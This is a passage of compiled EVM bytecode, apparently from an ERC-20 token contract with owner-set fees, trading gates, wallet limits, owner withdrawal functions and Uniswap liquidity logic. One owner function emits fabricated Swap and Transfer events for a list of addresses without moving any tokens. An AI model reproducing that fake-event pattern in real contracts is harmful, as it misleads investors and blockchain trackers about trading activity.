d565b60405180910390fd5b8160138190555080601481905550601454601354610b899190613e4c565b601281905550600a6012541115610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcc90613eee565b60405180910390fd5b5050565b606060038054610be890613f3d565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1490613f3d565b8015610c615780601f10610c3657610100808354040283529160200191610c61565b820191906000526020600020905b815481529060010190602001808311610c4457829003601f168201915b5050505050905090565b6000610c7f610c786120db565b84846120e3565b6001905092915050565b60186020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b610cdf6120db565b73ffffffffffffffffffffffffffffffffffffffff16610cfd6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614610d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4a90613dfd565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b6000610e268484846122ae565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e716120db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ef1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee890613fe1565b60405180910390fd5b610f0585610efd6120db565b8584036120e3565b60019150509392505050565b61dead81565b60006012905090565b610f286120db565b73ffffffffffffffffffffffffffffffffffffffff16610f466118e0565b73ffffffffffffffffffffffffffffffffffffffff1614610f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9390613dfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110039061404d565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561107b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611072906140b9565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110b69190613bad565b60206040518083038186803b1580156110ce57600080fd5b505afa1580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110691906140ee565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b815260040161114392919061411b565b602060405180830381600087803b15801561115d57600080fd5b505af1158015611171573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111959190614159565b50505050565b6111a36120db565b73ffffffffffffffffffffffffffffffffffffffff166111c16118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e90613dfd565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112529190613bad565b60206040518083038186803b15801561126a57600080fd5b505afa15801561127e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a291906140ee565b90503073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016112df92919061411b565b602060405180830381600087803b1580156112f957600080fd5b505af115801561130d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113319190614159565b503373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611378573d6000803e3d6000fd5b5050565b7f00000000000000000000000039dd0a300bccca485a68e3cd6662b2c0da87800e81565b600c60009054906101000a900460ff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6114116120db565b73ffffffffffffffffffffffffffffffffffffffff1661142f6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147c90613dfd565b60405180910390fd5b81601081905550806011819055506011546010546114a39190613e4c565b600f81905550600a600f5411156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e6906141d2565b60405180910390fd5b5050565b6114fb6120db565b73ffffffffffffffffffffffffffffffffffffffff166115196118e0565b73ffffffffffffffffffffffffffffffffffffffff161461156f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156690613dfd565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b600c60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61161c6120db565b73ffffffffffffffffffffffffffffffffffffffff1661163a6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611690576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168790613dfd565b60405180910390fd5b6116ad732fef94337338eb55db6a0fe2191f119959d3a718612eee565b565b60006116b96120db565b73ffffffffffffffffffffffffffffffffffffffff166116d76118e0565b73ffffffffffffffffffffffffffffffffffffffff161461172d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172490613dfd565b60405180910390fd5b6000600c60006101000a81548160ff0219169083151502179055506001905090565b6117576120db565b73ffffffffffffffffffffffffffffffffffffffff166117756118e0565b73ffffffffffffffffffffffffffffffffffffffff16146117cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c290613dfd565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60115481565b6118346120db565b73ffffffffffffffffffffffffffffffffffffffff166118526118e0565b73ffffffffffffffffffffffffffffffffffffffff16146118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f90613dfd565b60405180910390fd5b6001600c60016101000a81548160ff0219169083151502179055506001600c60026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b61193e6120db565b73ffffffffffffffffffffffffffffffffffffffff1661195c6118e0565b73ffffffffffffffffffffffffffffffffffffffff16146119b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a990613dfd565b60405180910390fd5b80600c60026101000a81548160ff02191690831515021790555050565b6060600480546119de90613f3d565b80601f0160208091040260200160405190810160405280929190818152602001828054611a0a90613f3d565b8015611a575780601f10611a2c57610100808354040283529160200191611a57565b820191906000526020600020905b815481529060010190602001808311611a3a57829003601f168201915b5050505050905090565b611a696120db565b73ffffffffffffffffffffffffffffffffffffffff16611a876118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad490613dfd565b60405180910390fd5b7f00000000000000000000000039dd0a300bccca485a68e3cd6662b2c0da87800e73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6390614264565b60405180910390fd5b611b768282612fb4565b5050565b60165481565b60005b84849050811015611d0457848482818110611ba157611ba0614284565b5b9050602002016020810190611bb69190613a7a565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051611c3b94939291906142ee565b60405180910390a3848482818110611c5657611c55614284565b5b9050602002016020810190611c6b9190613a7a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ce99190613b30565b60405180910390a38080611cfc90614333565b915050611b83565b5050505050565b6000611d1f611d186120db565b84846122ae565b6001905092915050565b611d316120db565b73ffffffffffffffffffffffffffffffffffffffff16611d4f6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9c90613dfd565b60405180910390fd5b8160138190555080601481905550601454601354611dc39190613e4c565b6012819055505050565b60196020528060005260406000206000915054906101000a900460ff1681565b600c60019054906101000a900460ff1681565b611e086120db565b73ffffffffffffffffffffffffffffffffffffffff16611e266118e0565b73ffffffffffffffffffffffffffffffffffffffff1614611e7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7390613dfd565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f199190613a5f565b60405180910390a25050565b600e60009054906101000a900460ff1681565b60095481565b600f5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b60105481565b611fdf6120db565b73ffffffffffffffffffffffffffffffffffffffff16611ffd6118e0565b73ffffffffffffffffffffffffffffffffffffffff1614612053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204a90613dfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ba906143ee565b60405180910390fd5b6120cc81612eee565b50565b60135481565b600b5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90614480565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ba90614512565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122a19190613b30565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561231e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612315906145a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561238e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238590614636565b60405180910390fd5b60008114156123a8576123a383836000613055565b612ee9565b600c60009054906101000a900460ff1615612a77576123c56118e0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561243357506124036118e0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561246c5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124a6575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124bf5750600560149054906101000a900460ff16155b15612a7657600c60019054906101000a900460ff166125b957601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125795750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6125b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125af906146a2565b60405180910390fd5b5b600e60009054906101000a900460ff161561278d576125d66118e0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561265d57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126b557507f00000000000000000000000039dd0a300bccca485a68e3cd6662b2c0da87800e73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561278c57436001600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127079190613e4c565b10612747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273e9061475a565b60405180910390fd5b43600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128305750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128d75760095481111561287a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612871906147ec565b60405180910390fd5b600b54612886836115cc565b826128919190613e4c565b11156128d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c990614858565b60405180910390fd5b612a75565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561297a5750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c9576009548111156129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb906148ea565b60405180910390fd5b612a74565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a7357600b54612a26836115cc565b82612a319190613e4c565b1115612a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6990614858565b60405180910390fd5b5b5b5b5b5b6000612a82306115cc565b90506000600a548210159050808015612aa75750600c60029054906101000a900460ff165b8015612ac05750600560149054906101000a900460ff16155b8015612b165750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b6c5750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612bc25750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c06576001600560146101000a81548160ff021916908315150217905550612bea6132d6565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612cbc5750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612cc657600090505b60008115612ed957601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d2957506000601254115b15612dc357612d566064612d48601254886134e390919063ffffffff16565b6134f990919063ffffffff16565b905060125460135482612d69919061490a565b612d739190614993565b60156000828254612d849190613e4c565b9250508190555060125460145482612d9c919061490a565b612da69190614993565b60166000828254612db79190613e4c565b92505081905550612eb5565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e1e57506000600f54115b15612eb457612e4b6064612e3d600f54886134e390919063ffffffff16565b6134f990919063ffffffff16565b9050600f5460105482612e5e919061490a565b612e689190614993565b60156000828254612e799190613e4c565b92505081905550600f5460115482612e91919061490a565b612e9b9190614993565b60166000828254612eac9190613e4c565b925050819055505b5b6000811115612eca57612ec9873083613055565b5b8085612ed691906149c4565b94505b612ee4878787613055565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156130c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130bc906145a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312c90614636565b60405180910390fd5b61314083838361350f565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156131c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131bd90614a6a565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132599190613e4c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516132bd9190613b30565b60405180910390a36132d0848484613514565b50505050565b60006132e1306115cc565b905060006016546015546132f59190613e4c565b90506000808314806133075750600082145b15613314575050506134e1565b6014600a54613323919061490a565b83111561333c576014600a54613339919061490a565b92505b60006002836015548661334f919061490a565b6133599190614993565b6133639190614993565b9050600061337a828661351990919063ffffffff16565b9050600047905061338a8261352f565b600061339f824761351990919063ffffffff16565b905060006133ca876133bc601654856134e390919063ffffffff16565b6134f990919063ffffffff16565b9050600081836133da91906149c4565b905060006015819055506000601681905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405161343290614abb565b60006040518083038185875af1925050503d806000811461346f576040519150601f19603f3d011682016040523d82523d6000602084013e613474565b606091505b50508097505060008611801561348a5750600081115b156134d757613499868261377b565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826015546040516134ce93929190614ad0565b60405180910390a15b5050505050505050505b565b600081836134f1919061490a565b905092915050565b600081836135079190614993565b905092915050565b505050565b505050565b6000818361352791906149c4565b905092915050565b6000600267ffffffffffffffff81111561354c5761354b614b07565b5b60405190808252806020026020018201604052801561357a5781602001602082028036833780820191505090505b509050308160008151811061359257613591614284565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561363257600080fd5b505afa158015613646573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061366a9190614b4b565b8160018151811061367e5761367d614284565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506136e3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846120e3565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613745959493929190614c36565b600060405180830381600087803b15801561375f57600080fd5b505af1158015613773573d6000803e3d6000fd5b505050505050565b6137a6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846120e3565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806137f06118e0565b426040518863ffffffff1660e01b815260040161381296959493929190614c90565b6060604051808303818588803b15801561382b57600080fd5b505af115801561383f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906138649190614cf1565b5050505050565b600080fd5b600080fd5b6000819050919050565b61388881613875565b811461389357600080fd5b50565b6000813590506138a58161387f565b92915050565b600080604083850312156138c2576138c161386b565b5b60006138d085828601613896565b92505060206138e185828601613896565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561392557808201518184015260208101905061390a565b83811115613934576000848401525b50505050565b6000601f19601f8301169050919050565b6000613956826138eb565b61396081856138f6565b9350613970818560208601613907565b6139798161393a565b840191505092915050565b6000602082019050818103600083015261399e818461394b565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006139d1826139a6565b9050919050565b6139e1816139c6565b81146139ec57600080fd5b50565b6000813590506139fe816139d8565b92915050565b60008060408385031215613a1b57613a1a61386b565b5b6000613a29858286016139ef565b9250506020613a3a85828601613896565b9150509250929050565b60008115159050919050565b613a5981613a44565b82525050565b6000602082019050613a746000830184613a50565b92915050565b600060208284031215613a9057613a8f61386b565b5b6000613a9e848285016139ef565b91505092915050565b6000819050919050565b6000613acc613ac7613ac2846139a6565b613aa7565b6139a6565b9050919050565b6000613ade82613ab1565b9050919050565b6000613af082613ad3565b9050919050565b613b0081613ae5565b82525050565b6000602082019050613b1b6000830184613af7565b92915050565b613b2a81613875565b82525050565b6000602082019050613b456000830184613b21565b92915050565b600080600060608486031215613b6457613b6361386b565b5b6000613b72868287016139ef565b9350506020613b83868287016139ef565b9250506040613b9486828701613896565b9150509250925092565b613ba7816139c6565b82525050565b6000602082019050613bc26000830184613b9e565b92915050565b600060ff82169050919050565b613bde81613bc8565b82525050565b6000602082019050613bf96000830184613bd5565b92915050565b60008060408385031215613c1657613c1561386b565b5b6000613c24858286016139ef565b9250506020613c35858286016139ef565b9150509250929050565b613c4881613a44565b8114613c5357600080fd5b50565b600081359050613c6581613c3f565b92915050565b60008060408385031215613c8257613c8161386b565b5b6000613c90858286016139ef565b9250506020613ca185828601613c56565b9150509250929050565b600060208284031215613cc157613cc061386b565b5b6000613ccf84828501613c56565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112613cfd57613cfc613cd8565b5b8235905067ffffffffffffffff811115613d1a57613d19613cdd565b5b602083019150836020820283011115613d3657613d35613ce2565b5b9250929050565b60008060008060608587031215613d5757613d5661386b565b5b600085013567ffffffffffffffff811115613d7557613d74613870565b5b613d8187828801613ce7565b94509450506020613d9487828801613896565b9250506040613da587828801613896565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613de76020836138f6565b9150613df282613db1565b602082019050919050565b60006020820190508181036000830152613e1681613dda565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e5782613875565b9150613e6283613875565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613e9757613e96613e1d565b5b828201905092915050565b7f53656c6c20466565000000000000000000000000000000000000000000000000600082015250565b6000613ed86008836138f6565b9150613ee382613ea2565b602082019050919050565b60006020820190508181036000830152613f0781613ecb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613f5557607f821691505b60208210811415613f6957613f68613f0e565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613fcb6028836138f6565b9150613fd682613f6f565b604082019050919050565b60006020820190508181036000830152613ffa81613fbe565b9050919050565b7f5f746f6b656e20616464726573732063616e6e6f742062652030000000000000600082015250565b6000614037601a836138f6565b915061404282614001565b602082019050919050565b600060208201905081810360008301526140668161402a565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e7300000000600082015250565b60006140a3601c836138f6565b91506140ae8261406d565b602082019050919050565b600060208201905081810360008301526140d281614096565b9050919050565b6000815190506140e88161387f565b92915050565b6000602082840312156141045761410361386b565b5b6000614112848285016140d9565b91505092915050565b60006040820190506141306000830185613b9e565b61413d6020830184613b21565b9392505050565b60008151905061415381613c3f565b92915050565b60006020828403121561416f5761416e61386b565b5b600061417d84828501614144565b91505092915050565b7f4275792046656500000000000000000000000000000000000000000000000000600082015250565b60006141bc6007836138f6565b91506141c782614186565b602082019050919050565b600060208201905081810360008301526141eb816141af565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061424e6039836138f6565b9150614259826141f2565b604082019050919050565b6000602082019050818103600083015261427d81614241565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006142d86142d36142ce846142b3565b613aa7565b613875565b9050919050565b6142e8816142bd565b82525050565b60006080820190506143036000830187613b21565b61431060208301866142df565b61431d60408301856142df565b61432a6060830184613b21565b95945050505050565b600061433e82613875565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561437157614370613e1d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006143d86026836138f6565b91506143e38261437c565b604082019050919050565b60006020820190508181036000830152614407816143cb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061446a6024836138f6565b91506144758261440e565b604082019050919050565b600060208201905081810360008301526144998161445d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006144fc6022836138f6565b9150614507826144a0565b604082019050919050565b6000602082019050818103600083015261452b816144ef565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061458e6025836138f6565b915061459982614532565b604082019050919050565b600060208201905081810360008301526145bd81614581565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146206023836138f6565b915061462b826145c4565b604082019050919050565b6000602082019050818103600083015261464f81614613565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061468c6016836138f6565b915061469782614656565b602082019050919050565b600060208201905081810360008301526146bb8161467f565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e65207075726368617365207065722074776f206260208201527f6c6f636b7320616c6c6f7765642e000000000000000000000000000000000000604082015250565b6000614744604e836138f6565b915061474f826146c2565b606082019050919050565b6000602082019050818103600083015261477381614737565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006147d66035836138f6565b91506147e18261477a565b604082019050919050565b60006020820190508181036000830152614805816147c9565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006148426013836138f6565b915061484d8261480c565b602082019050919050565b6000602082019050818103600083015261487181614835565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006148d46036836138f6565b91506148df82614878565b604082019050919050565b60006020820190508181036000830152614903816148c7565b9050919050565b600061491582613875565b915061492083613875565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561495957614958613e1d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061499e82613875565b91506149a983613875565b9250826149b9576149b8614964565b5b828204905092915050565b60006149cf82613875565b91506149da83613875565b9250828210156149ed576149ec613e1d565b5b828203905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614a546026836138f6565b9150614a5f826149f8565b604082019050919050565b60006020820190508181036000830152614a8381614a47565b9050919050565b600081905092915050565b50565b6000614aa5600083614a8a565b9150614ab082614a95565b600082019050919050565b6000614ac682614a98565b9150819050919050565b6000606082019050614ae56000830186613b21565b614af26020830185613b21565b614aff6040830184613b21565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614b45816139d8565b92915050565b600060208284031215614b6157614b6061386b565b5b6000614b6f84828501614b36565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614bad816139c6565b82525050565b6000614bbf8383614ba4565b60208301905092915050565b6000602082019050919050565b6000614be382614b78565b614bed8185614b83565b9350614bf883614b94565b8060005b83811015614c29578151614c108882614bb3565b9750614c1b83614bcb565b925050600181019050614bfc565b5085935050505092915050565b600060a082019050614c4b6000830188613b21565b614c5860208301876142df565b8181036040830152614c6a8186614bd8565b9050614c796060830185613b9e565b614c866080830184613b21565b96